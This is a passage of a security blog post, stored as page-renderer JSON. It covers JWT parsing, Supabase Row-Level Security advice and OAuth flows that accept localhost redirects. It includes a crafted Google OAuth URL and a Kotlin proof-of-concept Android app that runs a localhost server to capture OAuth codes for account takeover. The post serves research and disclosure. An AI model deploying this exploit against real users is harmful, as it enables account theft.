token",{"type":23,"tag":504,"props":72099,"children":72100},{"style":5058},[72101],{"type":29,"value":357},{"type":23,"tag":504,"props":72103,"children":72104},{"style":5139},[72105],{"type":29,"value":72106},"split",{"type":23,"tag":504,"props":72108,"children":72109},{"style":5058},[72110],{"type":29,"value":603},{"type":23,"tag":504,"props":72112,"children":72113},{"style":6297},[72114],{"type":29,"value":72115},"'.'",{"type":23,"tag":504,"props":72117,"children":72118},{"style":5058},[72119],{"type":29,"value":5888},{"type":23,"tag":504,"props":72121,"children":72122},{"class":5016,"line":5099},[72123,72127,72132,72136,72140,72144,72148,72152,72157,72161,72165],{"type":23,"tag":504,"props":72124,"children":72125},{"style":5030},[72126],{"type":29,"value":34957},{"type":23,"tag":504,"props":72128,"children":72129},{"style":5041},[72130],{"type":29,"value":72131}," decodedHeader",{"type":23,"tag":504,"props":72133,"children":72134},{"style":5047},[72135],{"type":29,"value":5050},{"type":23,"tag":504,"props":72137,"children":72138},{"style":5041},[72139],{"type":29,"value":39585},{"type":23,"tag":504,"props":72141,"children":72142},{"style":5058},[72143],{"type":29,"value":357},{"type":23,"tag":504,"props":72145,"children":72146},{"style":5139},[72147],{"type":29,"value":41268},{"type":23,"tag":504,"props":72149,"children":72150},{"style":5058},[72151],{"type":29,"value":603},{"type":23,"tag":504,"props":72153,"children":72154},{"style":5139},[72155],{"type":29,"value":72156},"atob",{"type":23,"tag":504,"props":72158,"children":72159},{"style":5058},[72160],{"type":29,"value":603},{"type":23,"tag":504,"props":72162,"children":72163},{"style":5041},[72164],{"type":29,"value":72066},{"type":23,"tag":504,"props":72166,"children":72167},{"style":5058},[72168],{"type":29,"value":9267},{"type":23,"tag":504,"props":72170,"children":72171},{"class":5016,"line":5203},[72172,72176,72181,72185,72189,72193,72197,72201,72205,72209,72213],{"type":23,"tag":504,"props":72173,"children":72174},{"style":5030},[72175],{"type":29,"value":34957},{"type":23,"tag":504,"props":72177,"children":72178},{"style":5041},[72179],{"type":29,"value":72180}," decodedPayload",{"type":23,"tag":504,"props":72182,"children":72183},{"style":5047},[72184],{"type":29,"value":5050},{"type":23,"tag":504,"props":72186,"children":72187},{"style":5041},[72188],{"type":29,"value":39585},{"type":23,"tag":504,"props":72190,"children":72191},{"style":5058},[72192],{"type":29,"value":357},{"type":23,"tag":504,"props":72194,"children":72195},{"style":5139},[72196],{"type":29,"value":41268},{"type":23,"tag":504,"props":72198,"children":72199},{"style":5058},[72200],{"type":29,"value":603},{"type":23,"tag":504,"props":72202,"children":72203},{"style":5139},[72204],{"type":29,"value":72156},{"type":23,"tag":504,"props":72206,"children":72207},{"style":5058},[72208],{"type":29,"value":603},{"type":23,"tag":504,"props":72210,"children":72211},{"style":5041},[72212],{"type":29,"value":72075},{"type":23,"tag":504,"props":72214,"children":72215},{"style":5058},[72216],{"type":29,"value":9267},{"type":23,"tag":504,"props":72218,"children":72219},{"class":5016,"line":5308},[72220,72224,72228,72233,72237,72241,72246,72250,72254,72258],{"type":23,"tag":504,"props":72221,"children":72222},{"style":5067},[72223],{"type":29,"value":17791},{"type":23,"tag":504,"props":72225,"children":72226},{"style":5058},[72227],{"type":29,"value":11633},{"type":23,"tag":504,"props":72229,"children":72230},{"style":5041},[72231],{"type":29,"value":72232},"header:",{"type":23,"tag":504,"props":72234,"children":72235},{"style":5041},[72236],{"type":29,"value":72131},{"type":23,"tag":504,"props":72238,"children":72239},{"style":5058},[72240],{"type":29,"value":4367},{"type":23,"tag":504,"props":72242,"children":72243},{"style":5041},[72244],{"type":29,"value":72245},"payload:",{"type":23,"tag":504,"props":72247,"children":72248},{"style":5041},[72249],{"type":29,"value":72180},{"type":23,"tag":504,"props":72251,"children":72252},{"style":5058},[72253],{"type":29,"value":4367},{"type":23,"tag":504,"props":72255,"children":72256},{"style":5041},[72257],{"type":29,"value":72084},{"type":23,"tag":504,"props":72259,"children":72260},{"style":5058},[72261],{"type":29,"value":20349},{"type":23,"tag":504,"props":72263,"children":72264},{"class":5016,"line":5336},[72265,72269,72273,72277,72281],{"type":23,"tag":504,"props":72266,"children":72267},{"style":5058},[72268],{"type":29,"value":17826},{"type":23,"tag":504,"props":72270,"children":72271},{"style":5067},[72272],{"type":29,"value":50474},{"type":23,"tag":504,"props":72274,"children":72275},{"style":5058},[72276],{"type":29,"value":5110},{"type":23,"tag":504,"props":72278,"children":72279},{"style":5041},[72280],{"type":29,"value":16910},{"type":23,"tag":504,"props":72282,"children":72283},{"style":5058},[72284],{"type":29,"value":16850},{"type":23,"tag":504,"props":72286,"children":72287},{"class":5016,"line":5349},[72288,72293,72297,72301,72305,72310,72314,72318],{"type":23,"tag":504,"props":72289,"children":72290},{"style":5041},[72291],{"type":29,"value":72292},"        console",{"type":23,"tag":504,"props":72294,"children":72295},{"style":5058},[72296],{"type":29,"value":357},{"type":23,"tag":504,"props":72298,"children":72299},{"style":5139},[72300],{"type":29,"value":16910},{"type":23,"tag":504,"props":72302,"children":72303},{"style":5058},[72304],{"type":29,"value":603},{"type":23,"tag":504,"props":72306,"children":72307},{"style":6297},[72308],{"type":29,"value":72309},"'Error parsing token:'",{"type":23,"tag":504,"props":72311,"children":72312},{"style":5058},[72313],{"type":29,"value":4367},{"type":23,"tag":504,"props":72315,"children":72316},{"style":5041},[72317],{"type":29,"value":16910},{"type":23,"tag":504,"props":72319,"children":72320},{"style":5058},[72321],{"type":29,"value":5888},{"type":23,"tag":504,"props":72323,"children":72324},{"class":5016,"line":5367},[72325,72329,72334],{"type":23,"tag":504,"props":72326,"children":72327},{"style":5067},[72328],{"type":29,"value":17791},{"type":23,"tag":504,"props":72330,"children":72331},{"style":5030},[72332],{"type":29,"value":72333}," null",{"type":23,"tag":504,"props":72335,"children":72336},{"style":5058},[72337],{"type":29,"value":5061},{"type":23,"tag":504,"props":72339,"children":72340},{"class":5016,"line":5388},[72341],{"type":23,"tag":504,"props":72342,"children":72343},{"style":5058},[72344],{"type":29,"value":5403},{"type":23,"tag":504,"props":72346,"children":72347},{"class":5016,"line":5397},[72348],{"type":23,"tag":504,"props":72349,"children":72350},{"style":5058},[72351],{"type":29,"value":5965},{"type":23,"tag":320,"props":72353,"children":72354},{"id":42390},[72355],{"type":29,"value":42393},{"type":23,"tag":32,"props":72357,"children":72358},{},[72359,72361,72368,72370,72376],{"type":29,"value":72360},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":23,"tag":68,"props":72362,"children":72365},{"href":72363,"rel":72364},"https://supabase.com/docs/guides/database/postgres/row-level-security",[72],[72366],{"type":29,"value":72367},"Row-Level Security",{"type":29,"value":72369}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":23,"tag":154,"props":72371,"children":72373},{"className":72372},[],[72374],{"type":29,"value":72375},"app_metadata",{"type":29,"value":72377},". These fields must be strictly validated at every step of their creation and update processes.",{"type":23,"tag":24,"props":72379,"children":72381},{"id":72380},"oauth-in-development-environments",[72382],{"type":29,"value":72383},"OAuth in development environments",{"type":23,"tag":32,"props":72385,"children":72386},{},[72387,72389,72396,72398,72403],{"type":29,"value":72388},"After watching a ",{"type":23,"tag":68,"props":72390,"children":72393},{"href":72391,"rel":72392},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[72],[72394],{"type":29,"value":72395},"talk",{"type":29,"value":72397}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":23,"tag":154,"props":72399,"children":72401},{"className":72400},[],[72402],{"type":29,"value":71829},{"type":29,"value":72404}," parameter during the OAuth flow.",{"type":23,"tag":32,"props":72406,"children":72407},{},[72408,72410,72417],{"type":29,"value":72409},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":23,"tag":68,"props":72411,"children":72414},{"href":72412,"rel":72413},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[72],[72415],{"type":29,"value":72416},"Remote Code Execution",{"type":29,"value":72418}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":23,"tag":32,"props":72420,"children":72421},{},[72422,72424,72430],{"type":29,"value":72423},"In one of our client's implementations, we identified that ",{"type":23,"tag":154,"props":72425,"children":72427},{"className":72426},[],[72428],{"type":29,"value":72429},"localhost:3000",{"type":29,"value":72431}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":23,"tag":32,"props":72433,"children":72434},{},[72435],{"type":29,"value":72436},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":23,"tag":4743,"props":72438,"children":72442},{"className":72439,"code":72440,"language":72441,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[72443],{"type":23,"tag":154,"props":72444,"children":72445},{"__ignoreMap":7},[72446],{"type":23,"tag":504,"props":72447,"children":72448},{"class":5016,"line":5017},[72449],{"type":23,"tag":504,"props":72450,"children":72451},{},[72452],{"type":29,"value":72440},{"type":23,"tag":32,"props":72454,"children":72455},{},[72456],{"type":29,"value":72457},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":23,"tag":4743,"props":72459,"children":72463},{"className":72460,"code":72461,"language":72462,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[72464],{"type":23,"tag":154,"props":72465,"children":72466},{"__ignoreMap":7},[72467,72494,72501,72533,72555,72562,72570,72592,72604,72616,72650,72676,72726,72733,72740,72747,72755,72777,72812,72825,72832,72839,72860,72886,72898,72919,72936,72948,72974,73013,73034,73042,73054,73079,73091,73104,73112,73119,73127,73135,73142,73172,73179],{"type":23,"tag":504,"props":72468,"children":72469},{"class":5016,"line":5017},[72470,72475,72480,72485,72490],{"type":23,"tag":504,"props":72471,"children":72472},{"style":5030},[72473],{"type":29,"value":72474},"class",{"type":23,"tag":504,"props":72476,"children":72477},{"style":5467},[72478],{"type":29,"value":72479}," MainActivity",{"type":23,"tag":504,"props":72481,"children":72482},{"style":5058},[72483],{"type":29,"value":72484}," : ",{"type":23,"tag":504,"props":72486,"children":72487},{"style":5467},[72488],{"type":29,"value":72489},"AppCompatActivity",{"type":23,"tag":504,"props":72491,"children":72492},{"style":5058},[72493],{"type":29,"value":17783},{"type":23,"tag":504,"props":72495,"children":72496},{"class":5016,"line":4868},[72497],{"type":23,"tag":504,"props":72498,"children":72499},{"emptyLinePlaceholder":15},[72500],{"type":29,"value":5734},{"type":23,"tag":504,"props":72502,"children":72503},{"class":5016,"line":4876},[72504,72509,72513,72518,72523,72528],{"type":23,"tag":504,"props":72505,"children":72506},{"style":5030},[72507],{"type":29,"value":72508},"    override",{"type":23,"tag":504,"props":72510,"children":72511},{"style":5030},[72512],{"type":29,"value":8252},{"type":23,"tag":504,"props":72514,"children":72515},{"style":5139},[72516],{"type":29,"value":72517}," onCreate",{"type":23,"tag":504,"props":72519,"children":72520},{"style":5058},[72521],{"type":29,"value":72522},"(savedInstanceState: ",{"type":23,"tag":504,"props":72524,"children":72525},{"style":5467},[72526],{"type":29,"value":72527},"Bundle",{"type":23,"tag":504,"props":72529,"children":72530},{"style":5058},[72531],{"type":29,"value":72532},"?) {\n",{"type":23,"tag":504,"props":72534,"children":72535},{"class":5016,"line":5099},[72536,72541,72545,72550],{"type":23,"tag":504,"props":72537,"children":72538},{"style":5030},[72539],{"type":29,"value":72540},"        super",{"type":23,"tag":504,"props":72542,"children":72543},{"style":5058},[72544],{"type":29,"value":357},{"type":23,"tag":504,"props":72546,"children":72547},{"style":5139},[72548],{"type":29,"value":72549},"onCreate",{"type":23,"tag":504,"props":72551,"children":72552},{"style":5058},[72553],{"type":29,"value":72554},"(savedInstanceState)\n",{"type":23,"tag":504,"props":72556,"children":72557},{"class":5016,"line":5203},[72558],{"type":23,"tag":504,"props":72559,"children":72560},{"emptyLinePlaceholder":15},[72561],{"type":29,"value":5734},{"type":23,"tag":504,"props":72563,"children":72564},{"class":5016,"line":5308},[72565],{"type":23,"tag":504,"props":72566,"children":72567},{"style":5021},[72568],{"type":29,"value":72569},"        // Start the Ktor web server\n",{"type":23,"tag":504,"props":72571,"children":72572},{"class":5016,"line":5336},[72573,72578,72583,72588],{"type":23,"tag":504,"props":72574,"children":72575},{"style":5139},[72576],{"type":29,"value":72577},"        CoroutineScope",{"type":23,"tag":504,"props":72579,"children":72580},{"style":5058},[72581],{"type":29,"value":72582},"(Dispatchers.IO).",{"type":23,"tag":504,"props":72584,"children":72585},{"style":5139},[72586],{"type":29,"value":72587},"launch",{"type":23,"tag":504,"props":72589,"children":72590},{"style":5058},[72591],{"type":29,"value":5333},{"type":23,"tag":504,"props":72593,"children":72594},{"class":5016,"line":5349},[72595,72600],{"type":23,"tag":504,"props":72596,"children":72597},{"style":5067},[72598],{"type":29,"value":72599},"            try",{"type":23,"tag":504,"props":72601,"children":72602},{"style":5058},[72603],{"type":29,"value":5333},{"type":23,"tag":504,"props":72605,"children":72606},{"class":5016,"line":5367},[72607,72612],{"type":23,"tag":504,"props":72608,"children":72609},{"style":5139},[72610],{"type":29,"value":72611},"                startWebServer",{"type":23,"tag":504,"props":72613,"children":72614},{"style":5058},[72615],{"type":29,"value":9780},{"type":23,"tag":504,"props":72617,"children":72618},{"class":5016,"line":5388},[72619,72624,72628,72632,72637,72641,72646],{"type":23,"tag":504,"props":72620,"children":72621},{"style":5058},[72622],{"type":29,"value":72623},"                Log.",{"type":23,"tag":504,"props":72625,"children":72626},{"style":5139},[72627],{"type":29,"value":584},{"type":23,"tag":504,"props":72629,"children":72630},{"style":5058},[72631],{"type":29,"value":603},{"type":23,"tag":504,"props":72633,"children":72634},{"style":6297},[72635],{"type":29,"value":72636},"\"WebServer\"",{"type":23,"tag":504,"props":72638,"children":72639},{"style":5058},[72640],{"type":29,"value":4367},{"type":23,"tag":504,"props":72642,"children":72643},{"style":6297},[72644],{"type":29,"value":72645},"\"Server started on http://localhost:3000\"",{"type":23,"tag":504,"props":72647,"children":72648},{"style":5058},[72649],{"type":29,"value":5200},{"type":23,"tag":504,"props":72651,"children":72652},{"class":5016,"line":5397},[72653,72658,72662,72667,72672],{"type":23,"tag":504,"props":72654,"children":72655},{"style":5058},[72656],{"type":29,"value":72657},"            } ",{"type":23,"tag":504,"props":72659,"children":72660},{"style":5030},[72661],{"type":29,"value":50474},{"type":23,"tag":504,"props":72663,"children":72664},{"style":5058},[72665],{"type":29,"value":72666}," (e: ",{"type":23,"tag":504,"props":72668,"children":72669},{"style":5467},[72670],{"type":29,"value":72671},"Exception",{"type":23,"tag":504,"props":72673,"children":72674},{"style":5058},[72675],{"type":29,"value":16850},{"type":23,"tag":504,"props":72677,"children":72678},{"class":5016,"line":5649},[72679,72683,72687,72691,72695,72699,72704,72708,72713,72717,72721],{"type":23,"tag":504,"props":72680,"children":72681},{"style":5058},[72682],{"type":29,"value":72623},{"type":23,"tag":504,"props":72684,"children":72685},{"style":5139},[72686],{"type":29,"value":1132},{"type":23,"tag":504,"props":72688,"children":72689},{"style":5058},[72690],{"type":29,"value":603},{"type":23,"tag":504,"props":72692,"children":72693},{"style":6297},[72694],{"type":29,"value":72636},{"type":23,"tag":504,"props":72696,"children":72697},{"style":5058},[72698],{"type":29,"value":4367},{"type":23,"tag":504,"props":72700,"children":72701},{"style":6297},[72702],{"type":29,"value":72703},"\"Error starting server: ",{"type":23,"tag":504,"props":72705,"children":72706},{"style":5030},[72707],{"type":29,"value":36164},{"type":23,"tag":504,"props":72709,"children":72710},{"style":5047},[72711],{"type":29,"value":72712},"e.message",{"type":23,"tag":504,"props":72714,"children":72715},{"style":5030},[72716],{"type":29,"value":36196},{"type":23,"tag":504,"props":72718,"children":72719},{"style":6297},[72720],{"type":29,"value":22112},{"type":23,"tag":504,"props":72722,"children":72723},{"style":5058},[72724],{"type":29,"value":72725},", e)\n",{"type":23,"tag":504,"props":72727,"children":72728},{"class":5016,"line":5666},[72729],{"type":23,"tag":504,"props":72730,"children":72731},{"style":5058},[72732],{"type":29,"value":60946},{"type":23,"tag":504,"props":72734,"children":72735},{"class":5016,"line":5683},[72736],{"type":23,"tag":504,"props":72737,"children":72738},{"style":5058},[72739],{"type":29,"value":5394},{"type":23,"tag":504,"props":72741,"children":72742},{"class":5016,"line":5696},[72743],{"type":23,"tag":504,"props":72744,"children":72745},{"emptyLinePlaceholder":15},[72746],{"type":29,"value":5734},{"type":23,"tag":504,"props":72748,"children":72749},{"class":5016,"line":5705},[72750],{"type":23,"tag":504,"props":72751,"children":72752},{"style":5021},[72753],{"type":29,"value":72754},"        // Open the Google OAuth page\n",{"type":23,"tag":504,"props":72756,"children":72757},{"class":5016,"line":5728},[72758,72763,72768,72772],{"type":23,"tag":504,"props":72759,"children":72760},{"style":5030},[72761],{"type":29,"value":72762},"        val",{"type":23,"tag":504,"props":72764,"children":72765},{"style":5058},[72766],{"type":29,"value":72767}," googleOAuthUrl ",{"type":23,"tag":504,"props":72769,"children":72770},{"style":5047},[72771],{"type":29,"value":546},{"type":23,"tag":504,"props":72773,"children":72774},{"style":6297},[72775],{"type":29,"value":72776}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":504,"props":72778,"children":72779},{"class":5016,"line":5737},[72780,72784,72789,72793,72798,72803,72807],{"type":23,"tag":504,"props":72781,"children":72782},{"style":5030},[72783],{"type":29,"value":72762},{"type":23,"tag":504,"props":72785,"children":72786},{"style":5058},[72787],{"type":29,"value":72788}," browserIntent ",{"type":23,"tag":504,"props":72790,"children":72791},{"style":5047},[72792],{"type":29,"value":546},{"type":23,"tag":504,"props":72794,"children":72795},{"style":5139},[72796],{"type":29,"value":72797}," Intent",{"type":23,"tag":504,"props":72799,"children":72800},{"style":5058},[72801],{"type":29,"value":72802},"(Intent.ACTION_VIEW, Uri.",{"type":23,"tag":504,"props":72804,"children":72805},{"style":5139},[72806],{"type":29,"value":41268},{"type":23,"tag":504,"props":72808,"children":72809},{"style":5058},[72810],{"type":29,"value":72811},"(googleOAuthUrl))\n",{"type":23,"tag":504,"props":72813,"children":72814},{"class":5016,"line":5746},[72815,72820],{"type":23,"tag":504,"props":72816,"children":72817},{"style":5139},[72818],{"type":29,"value":72819},"        startActivity",{"type":23,"tag":504,"props":72821,"children":72822},{"style":5058},[72823],{"type":29,"value":72824},"(browserIntent)\n",{"type":23,"tag":504,"props":72826,"children":72827},{"class":5016,"line":5813},[72828],{"type":23,"tag":504,"props":72829,"children":72830},{"style":5058},[72831],{"type":29,"value":5403},{"type":23,"tag":504,"props":72833,"children":72834},{"class":5016,"line":5821},[72835],{"type":23,"tag":504,"props":72836,"children":72837},{"emptyLinePlaceholder":15},[72838],{"type":29,"value":5734},{"type":23,"tag":504,"props":72840,"children":72841},{"class":5016,"line":5851},[72842,72847,72851,72856],{"type":23,"tag":504,"props":72843,"children":72844},{"style":5030},[72845],{"type":29,"value":72846},"    private",{"type":23,"tag":504,"props":72848,"children":72849},{"style":5030},[72850],{"type":29,"value":8252},{"type":23,"tag":504,"props":72852,"children":72853},{"style":5139},[72854],{"type":29,"value":72855}," startWebServer",{"type":23,"tag":504,"props":72857,"children":72858},{"style":5058},[72859],{"type":29,"value":17783},{"type":23,"tag":504,"props":72861,"children":72862},{"class":5016,"line":5859},[72863,72868,72873,72877,72882],{"type":23,"tag":504,"props":72864,"children":72865},{"style":5139},[72866],{"type":29,"value":72867},"        embeddedServer",{"type":23,"tag":504,"props":72869,"children":72870},{"style":5058},[72871],{"type":29,"value":72872},"(CIO, port ",{"type":23,"tag":504,"props":72874,"children":72875},{"style":5047},[72876],{"type":29,"value":546},{"type":23,"tag":504,"props":72878,"children":72879},{"style":5083},[72880],{"type":29,"value":72881}," 3000",{"type":23,"tag":504,"props":72883,"children":72884},{"style":5058},[72885],{"type":29,"value":16850},{"type":23,"tag":504,"props":72887,"children":72888},{"class":5016,"line":5891},[72889,72894],{"type":23,"tag":504,"props":72890,"children":72891},{"style":5139},[72892],{"type":29,"value":72893},"            routing",{"type":23,"tag":504,"props":72895,"children":72896},{"style":5058},[72897],{"type":29,"value":5333},{"type":23,"tag":504,"props":72899,"children":72900},{"class":5016,"line":5899},[72901,72906,72910,72915],{"type":23,"tag":504,"props":72902,"children":72903},{"style":5030},[72904],{"type":29,"value":72905},"                get",{"type":23,"tag":504,"props":72907,"children":72908},{"style":5058},[72909],{"type":29,"value":603},{"type":23,"tag":504,"props":72911,"children":72912},{"style":6297},[72913],{"type":29,"value":72914},"\"{...}\"",{"type":23,"tag":504,"props":72916,"children":72917},{"style":5058},[72918],{"type":29,"value":16850},{"type":23,"tag":504,"props":72920,"children":72921},{"class":5016,"line":5959},[72922,72927,72932],{"type":23,"tag":504,"props":72923,"children":72924},{"style":5058},[72925],{"type":29,"value":72926},"                    call.",{"type":23,"tag":504,"props":72928,"children":72929},{"style":5139},[72930],{"type":29,"value":72931},"respondHtml",{"type":23,"tag":504,"props":72933,"children":72934},{"style":5058},[72935],{"type":29,"value":5333},{"type":23,"tag":504,"props":72937,"children":72938},{"class":5016,"line":11093},[72939,72944],{"type":23,"tag":504,"props":72940,"children":72941},{"style":5139},[72942],{"type":29,"value":72943},"                        head",{"type":23,"tag":504,"props":72945,"children":72946},{"style":5058},[72947],{"type":29,"value":5333},{"type":23,"tag":504,"props":72949,"children":72950},{"class":5016,"line":11111},[72951,72956,72961,72965,72970],{"type":23,"tag":504,"props":72952,"children":72953},{"style":5139},[72954],{"type":29,"value":72955},"                            meta",{"type":23,"tag":504,"props":72957,"children":72958},{"style":5058},[72959],{"type":29,"value":72960},"(charset ",{"type":23,"tag":504,"props":72962,"children":72963},{"style":5047},[72964],{"type":29,"value":546},{"type":23,"tag":504,"props":72966,"children":72967},{"style":6297},[72968],{"type":29,"value":72969}," \"UTF-8\"",{"type":23,"tag":504,"props":72971,"children":72972},{"style":5058},[72973],{"type":29,"value":5200},{"type":23,"tag":504,"props":72975,"children":72976},{"class":5016,"line":11156},[72977,72981,72986,72990,72995,73000,73004,73009],{"type":23,"tag":504,"props":72978,"children":72979},{"style":5139},[72980],{"type":29,"value":72955},{"type":23,"tag":504,"props":72982,"children":72983},{"style":5058},[72984],{"type":29,"value":72985},"(name ",{"type":23,"tag":504,"props":72987,"children":72988},{"style":5047},[72989],{"type":29,"value":546},{"type":23,"tag":504,"props":72991,"children":72992},{"style":6297},[72993],{"type":29,"value":72994}," \"viewport\"",{"type":23,"tag":504,"props":72996,"children":72997},{"style":5058},[72998],{"type":29,"value":72999},", content ",{"type":23,"tag":504,"props":73001,"children":73002},{"style":5047},[73003],{"type":29,"value":546},{"type":23,"tag":504,"props":73005,"children":73006},{"style":6297},[73007],{"type":29,"value":73008}," \"width=device-width, initial-scale=1.0\"",{"type":23,"tag":504,"props":73010,"children":73011},{"style":5058},[73012],{"type":29,"value":5200},{"type":23,"tag":504,"props":73014,"children":73015},{"class":5016,"line":11262},[73016,73021,73025,73030],{"type":23,"tag":504,"props":73017,"children":73018},{"style":5139},[73019],{"type":29,"value":73020},"                            title",{"type":23,"tag":504,"props":73022,"children":73023},{"style":5058},[73024],{"type":29,"value":603},{"type":23,"tag":504,"props":73026,"children":73027},{"style":6297},[73028],{"type":29,"value":73029},"\"OAuth Redirect\"",{"type":23,"tag":504,"props":73031,"children":73032},{"style":5058},[73033],{"type":29,"value":5200},{"type":23,"tag":504,"props":73035,"children":73036},{"class":5016,"line":25550},[73037],{"type":23,"tag":504,"props":73038,"children":73039},{"style":5058},[73040],{"type":29,"value":73041},"                        }\n",{"type":23,"tag":504,"props":73043,"children":73044},{"class":5016,"line":25585},[73045,73050],{"type":23,"tag":504,"props":73046,"children":73047},{"style":5139},[73048],{"type":29,"value":73049},"                        body",{"type":23,"tag":504,"props":73051,"children":73052},{"style":5058},[73053],{"type":29,"value":5333},{"type":23,"tag":504,"props":73055,"children":73056},{"class":5016,"line":25593},[73057,73062,73066,73070,73075],{"type":23,"tag":504,"props":73058,"children":73059},{"style":5139},[73060],{"type":29,"value":73061},"                            h1",{"type":23,"tag":504,"props":73063,"children":73064},{"style":5058},[73065],{"type":29,"value":11633},{"type":23,"tag":504,"props":73067,"children":73068},{"style":5047},[73069],{"type":29,"value":6422},{"type":23,"tag":504,"props":73071,"children":73072},{"style":6297},[73073],{"type":29,"value":73074},"\"Google OAuth Redirect\"",{"type":23,"tag":504,"props":73076,"children":73077},{"style":5058},[73078],{"type":29,"value":11642},{"type":23,"tag":504,"props":73080,"children":73081},{"class":5016,"line":25601},[73082,73087],{"type":23,"tag":504,"props":73083,"children":73084},{"style":5139},[73085],{"type":29,"value":73086},"                            script",{"type":23,"tag":504,"props":73088,"children":73089},{"style":5058},[73090],{"type":29,"value":5333},{"type":23,"tag":504,"props":73092,"children":73093},{"class":5016,"line":25610},[73094,73099],{"type":23,"tag":504,"props":73095,"children":73096},{"style":5047},[73097],{"type":29,"value":73098},"                                +",{"type":23,"tag":504,"props":73100,"children":73101},{"style":6297},[73102],{"type":29,"value":73103},"\"document.body.innerText = location.search;\"\n",{"type":23,"tag":504,"props":73105,"children":73106},{"class":5016,"line":25652},[73107],{"type":23,"tag":504,"props":73108,"children":73109},{"style":5058},[73110],{"type":29,"value":73111},"                            }\n",{"type":23,"tag":504,"props":73113,"children":73114},{"class":5016,"line":25685},[73115],{"type":23,"tag":504,"props":73116,"children":73117},{"style":5058},[73118],{"type":29,"value":73041},{"type":23,"tag":504,"props":73120,"children":73121},{"class":5016,"line":25693},[73122],{"type":23,"tag":504,"props":73123,"children":73124},{"style":5058},[73125],{"type":29,"value":73126},"                    }\n",{"type":23,"tag":504,"props":73128,"children":73129},{"class":5016,"line":25701},[73130],{"type":23,"tag":504,"props":73131,"children":73132},{"style":5058},[73133],{"type":29,"value":73134},"                }\n",{"type":23,"tag":504,"props":73136,"children":73137},{"class":5016,"line":25710},[73138],{"type":23,"tag":504,"props":73139,"children":73140},{"style":5058},[73141],{"type":29,"value":60946},{"type":23,"tag":504,"props":73143,"children":73144},{"class":5016,"line":25786},[73145,73150,73155,73160,73164,73168],{"type":23,"tag":504,"props":73146,"children":73147},{"style":5058},[73148],{"type":29,"value":73149},"        }.",{"type":23,"tag":504,"props":73151,"children":73152},{"style":5139},[73153],{"type":29,"value":73154},"start",{"type":23,"tag":504,"props":73156,"children":73157},{"style":5058},[73158],{"type":29,"value":73159},"(wait 